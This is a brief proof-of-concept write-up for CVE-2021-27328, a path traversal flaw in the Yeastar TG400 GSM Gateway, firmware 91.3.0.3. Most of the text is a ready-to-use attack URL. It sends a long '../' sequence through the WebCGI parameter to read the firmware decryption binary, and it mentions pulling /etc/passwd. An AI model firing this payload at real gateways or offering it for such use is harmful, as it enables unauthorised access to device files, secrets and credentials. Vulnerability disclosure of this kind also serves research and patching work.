Yeastar TG400 GSM Gateway 91.3.0.3 Path Traversal Vulnerability

Path Traversal on Yeastar TG400 GSM Gateway - 91.3.0.3 This is a Proof of Concept for CVE-2021-27328 Example to get firmware decrypting password http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmwaredetect to get /etc/paswd...